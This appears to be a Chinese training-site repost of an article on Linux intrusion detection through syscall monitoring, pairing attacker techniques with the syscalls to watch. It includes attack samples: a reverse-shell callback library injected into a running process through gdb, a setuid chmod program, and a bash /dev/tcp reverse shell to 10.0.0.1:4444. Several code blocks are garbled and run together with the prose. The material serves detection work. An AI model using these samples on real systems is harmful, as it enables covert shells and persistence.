当前位置:网站首页 > 黑客培训 > 正文

入侵检测之syscall监控

freebuffreebuf 2020-07-13 384 0

本文来源:pilgrim

《Linux入侵检测》系列文章目录:

1️⃣企业安全建设之HIDS-设计篇

2️⃣入侵检测技术建设及其在场景下的运用

3️⃣ATTlinux/kernel.h>   #includelinux/module.h>   #includelinux/init.h>   MODULE_LICENSE("GPL");   static int hello_init(void)   {   printk(KERN_WARNING "HELLOWORLD");   return 0;   }   static void hello_exit(void)   {   printk("BYE");   }   module_init(hello_init);   module_exit(hello_exit); 


编译完成之后能够看到模块文件:

lsmod查看模块是否加载:

对于内核模块的函数:
 
 init_module()  
将ELF映像加载到内核空间,执行任何必要的符号重定位,将模块参数初始化为值由调用者提供,然后运行模块的init函数。  
int init_module(void *module_knowledge/img, unsigned long len,const char *param_values);  
Copy to clipboardErrorCopied

finit_module  
finit_module()系统调用的是init_module(),但读取待从文件描述符加载模块的fd。当可以根据内核模块在文件系统中的位置确定其真实性时  
int finit_module(int fd, const char \*param_values,int flags);  
Copy to clipboardErrorCopied

delete_module-卸载内核模块
delete_module()系统调用试图消除查明的未使用的可加载模块的条目名称。如果模块具有退出功能,则在卸载模块之前执行该功能。的标志参数用于修改系统调用的行为,如下面所述。此系统调用需要特权。
int delete_module(const char *name, int flags);
 对于企业的防护,对应用程序白名单和软件限制工具(例如SELinux)限制内核模块的加载或者限制对root帐户的访问,并通过适当的特权分离和限制特权升级机会来防止用户加载内核模块和扩展。
在检测层,包括在应急中,用于检测Linux rootkit的常见工具包括:rkhunter,chrootkit,针对该攻击,检测finit_module、init_module 、delete_module的调用

0x04:持久化之syscall监控

trap命令允许程序指定将在接收到中断信号后执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断(例如ctrl + c和ctrl + d),实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了,trap命令不仅仅处理Linux信号,还能对脚本退出(EXIT)、调试(DEBUG)、错误(ERR)、返回(RETURN)等情况指定处理方式。。当遇到特定中断以获取执行或作为持久性机制时,可以使用它来注册要执行的代码。陷阱命令具有以下格式的陷阱“命令列表”信号,其中在收到“信号”时将执行“命令列表”。

信号的主要用途:
1.使一个进程意识到一个特殊事件发生了(不同的事件用不同的signal标识)
2.并使目标进程进行相应处理(eg: 执行的信号处理函数,signal handler).相应的处理也可以是忽略它.


与信号有关的数据结构

#!/bin/sh   # 杀掉LAST_PID功能   # 脚本退出时杀掉THIS_PID功能   LAST_PID=$(ps -ef|grep 'java.*Zhenjiang'|grep -v grep|awk '{print $2}')    echo "LAST_PID=$LAST_PID"     if [ -n "$LAST_PID" ]  then       echo "LAST PROCESS NOT EXIT, NOW KILL IT!"       kill $LAST_PID       sleep 1   fi     if ! cd ../opt/zhenjiang; then       echo "CHANGE DIRECTORY FAILED"       exit 1   fi     java -classpath .:./cpinterfaceapi.jar:./log4j-1.2.14.jar:./hyjc.jar:./smj.client.jar Zhenjiang pthread.h> #include stdlib.h> #include unistd.h>  #define SLEEP  120                    /* Time to sleep between callbacks */ #define CBADDR "127.0.0.1"           /* Callback address */ #define CBPORT "4444"                 /* Callback port */  /* Reverse shell command */ #define CMD "echo 'exec > exec 0>  __attribute__((constructor)) /* Run this function on library load */ // 在动态库加载之后运行该函数 void start_callbacks(){         pthread_t tid;         pthread_attr_t attr;          /* Start thread detached */         if (-1 == pthread_attr_init(         }         if (-1 == pthread_attr_setdetachstate(         }          /* Spawn a thread to do the real work */         pthread_create( //创建线程 }   void * callback(void *a) {         for (;;) {                 /* Try to spawn a reverse shell */                 system(CMD);                 /* Wait until next shell */                 sleep(SLEEP);         }         return NULL; }

编译成动态链接库: cc -O2 -fPIC -o libcallback.so ./callback.c -lpthread -shared

切换到root用户,列出root用户进程 ps -fxo pid,user,args | egrep -v ' \[\S+\]$'选择想要注入的进程pid,使用gdb进行注入,这里选择pids值较低的,因为值越低代表运行的时间越早,选择长期运行的进程,因为这些进程不容易被kill。
echo 'print __libc_dlopen_mode("/root/libcallback.so", 2)' | gdb -p pid

用gdb打开进程,并且用__libc_dlopen_mode打开要注入的动态链接库。使用GDB的print命令,以方便取函数的返回值。将它回显到GDB的标准输入中,它会引起GDB退出,就省得使用quit命令了。

开启另外的终端,监听本地的4444端口

反向跟踪,可以看到调用的syscall为ptrace

0x06:持久化之文件属性syscall监控


在权限提升和持久化中,设置setuid或setgid位,使应用程序将分别以拥有用户或组的特权运行,以确保他们将来能够在提升的环境中执行,也是常见的操作,可以使用chmod实现。#include stdio.h>

#include sys/types.h> #include sys/stat.h> int main(int argc, char *argv[]) { if ( argc != 2 )  { printf("Usage: %s filename\n", argv[0]); return (1); } if (chmod(argv[1], S_ISUID | S_IRUSR | S_IRGRP | S_IROTH | S_IXOTH)  0)  { perror("Cannot modify the Permission of the file"); return (1); }    return (0); }



对应的监控函数为:
chmod, fchmod, fchmodat
chmod 
fchmodat 等

0x07:网络管理反弹shell之syscall监控


反弹shell,攻击者在控制端执行tcp/udp监听,并通过socket传递给攻击端的控制端。其主要原理为将标准输入以及标准输出是否指向一个socket或pipe
以最简单的bash反弹为例:

Linux bash是从左向右读取这条命令的,首先系统会创建bash -i子进程,并分配文件描述符:

当解析到 >& /dev/tcp/10.0.0.1/4444 标准输出与标准错误重定向符时,文件描述符的指向变更为:

当解析到0>&1,标准输入复制到标准输出时,文件描述符的指向变更为:

文件输入描述符以及文件输出描述符皆需要重定向到socket通道

文件输入描述符以及文件输出描述符皆需要重定向到pipe

从攻击的角度可以总结出,对进程,监控其标准输入以及标准输出是否指向一个socket或pipe,更 加需要关注的为具有可执行环境的文件,如bash、perl、python等
对应的syscall为socketcall

0x08:命令执行之syscall监控

snoopy轻量级的lib库,用来记录系统中所有执行过的命令以及参数,实际使用场景中结合snoopy和rsyslog收集所有主机的历史执行命令,snoopy 即是通过 preload 的方式在程序进行 execv() 和 execve() 系统调用的时候记录下所有需要的信息,audit同snoopy,通过监控execve系统调用,同样实现用户的操纵记录,大部分检测通过检测非ROOT用户执行的命令以及进行威胁建模。

对应的syscall为execve,对应的命令监控内容可以参考系列中的另外一篇:ATT&CK矩阵linux系统实践/命令监控

0x09:隐藏痕迹之系统设置之syscall监控

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。

反向跟踪隐藏痕迹中的修改的时间戳

其对应的参考syscall为settimeofday、clock_settime 、adjtimex等

0x10:syscall监控小结


下表中根据分类总结列举了部分常用的syscall,无疑监控syscall带来的数据量是非常庞大的,以及对服务器的性能消耗也需要考虑,本文从攻击者角度考虑,采集攻击打点信息,只采集关注的数据,因文章篇幅,采集的syscall的攻击打点面未全面

时刻保持学习,ctrl+c 和ctrl +v 的内容也不一样

转载请注明来自网盾网络安全培训,本文标题:《入侵检测之syscall监控》

标签:系统安全企业安全入侵检测与防御

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表